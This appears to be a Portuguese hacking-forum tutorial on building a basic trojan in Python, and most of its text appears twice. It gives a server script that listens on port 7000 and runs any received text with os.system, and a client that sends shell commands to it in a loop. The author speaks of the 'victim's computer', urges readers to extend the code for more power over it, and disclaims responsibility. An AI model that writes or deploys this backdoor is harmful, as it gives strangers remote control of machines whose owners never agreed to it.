Tentarei abordar neste tópico, de forma simplificada, o funcionamento de um trojan e o conceito básico para o desenvolvimento de um software do tipo. antes de mais nada, para entender o funcionamento do mesmo, é necessário ter um pouco de conhecimento de sockets.
Sockets:
Os sockets, são responsaveis pela comunicação de computadores que se encontram em rede. Trabalham principalmente com a camada 4 do modelo OSI (camada de transporte). Para utilizá-los, precisa existir a necessidade de ter duas aplicações que se comuniquem e ao mesmo tempo se encontram em máquinas diferentes, estabelecendo uma relação de Cliente (que usa das funções oferecidas pelo servidor) e Servidor (que responde as solicitações do cliente).
Com o conceito de sockets em mente, vamos aprender a utilizá-los em python.
Sockets em python:
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
Conceito de trojan:
Um Trojan, ou Cavalo de Troia, é um programa que se oculta dentro de outro, legítimo, com a finalidade de abrir uma porta para que o cracker mal intencionado tenha acesso ao computador infectado.
Adaptado de : Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
Nosso trojan em python:
Basicamente, precisamos enviar comandos ao nosso servidor, o forçando a fazer oque desejarmos. Dessa forma, podemos dizer que temos acesso ao computador da vítima.
Para isso, basta um simples rearranjo do código passado Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar..., para que o servidor passe a interpretar comandos enviado pelo cliente.
O código ficará algo como:
Servidor:
Cliente:
Como podem perceber, no código do cliente, apenas modificamos as mensagens exibidas, e adicionamos um loop para poder ficar enviando comandos. Enquanto o servidor, começamos a interpretar a mensagem passada pelo cliente como um comando do S.O.
Resultado:
Como desafio, deixo a critério de vocês realizarem melhorias nestes códigos, para obter um maior poder sobre o computador que roda o servidor. Publiquem o código aqui depois, para que possamos fazer uma discussão e criar uma network entre a galera.
Este é apenas uma introdução a trojans. Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
NÃO ME RESPONSABILIZO PELOS SEUS ATOS
Sockets:
Os sockets, são responsaveis pela comunicação de computadores que se encontram em rede. Trabalham principalmente com a camada 4 do modelo OSI (camada de transporte). Para utilizá-los, precisa existir a necessidade de ter duas aplicações que se comuniquem e ao mesmo tempo se encontram em máquinas diferentes, estabelecendo uma relação de Cliente (que usa das funções oferecidas pelo servidor) e Servidor (que responde as solicitações do cliente).
Com o conceito de sockets em mente, vamos aprender a utilizá-los em python.
Sockets em python:
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
Conceito de trojan:
Um Trojan, ou Cavalo de Troia, é um programa que se oculta dentro de outro, legítimo, com a finalidade de abrir uma porta para que o cracker mal intencionado tenha acesso ao computador infectado.
Adaptado de : Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
Nosso trojan em python:
Basicamente, precisamos enviar comandos ao nosso servidor, o forçando a fazer oque desejarmos. Dessa forma, podemos dizer que temos acesso ao computador da vítima.
Para isso, basta um simples rearranjo do código passado Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar..., para que o servidor passe a interpretar comandos enviado pelo cliente.
O código ficará algo como:
Servidor:
Código PHP:
#########=====serv_tuto.py=====##########
#!/user/bin/python
#
# Coded by: Alisson Menezes [kernelcrash]
# Modify by: Radicalzinho
#
# servidor que recebe mensagens de aplicacao client parecido com o netsend
#
#
import os #Importação da biblioteca "os"
import socket
host = ''
port = 7000
addr = (host, port)
serv_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
serv_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
serv_socket.bind(addr)
serv_socket.listen(10)
print ('aguardando conexao')
con, cliente = serv_socket.accept()
print ('conectado')
print ("conexao criada")
while 1:
recebe = con.recv(1024)
#Tenta executar o comando
try:
os.system(recebe) #Comando recebido tentando ser executado
except:
print('Comando invalido') #Mensagem de erro
serv_socket.close()
#############=====EOF======###################
Cliente:
Código PHP:
############## client_tuto.py#################
#!/usr/bin/python
#
#Coded by: Alisson Menezes [kernelcrash]
#Modify by: Radicalzinho
#
#
import socket
ip = raw_input('digite o ip de conexao: ')
port = 7000
addr = ((ip,port))
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect(addr)
while True: #Este looping nos possibilita enviar múltiplos comandos
msg = raw_input('Digite um comando: ')
client_socket.send(msg)
print('Comando enviado')
client_socket.close()
############=----EOF----###########
Resultado:
Como desafio, deixo a critério de vocês realizarem melhorias nestes códigos, para obter um maior poder sobre o computador que roda o servidor. Publiquem o código aqui depois, para que possamos fazer uma discussão e criar uma network entre a galera.
Este é apenas uma introdução a trojans. Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
NÃO ME RESPONSABILIZO PELOS SEUS ATOS
Comment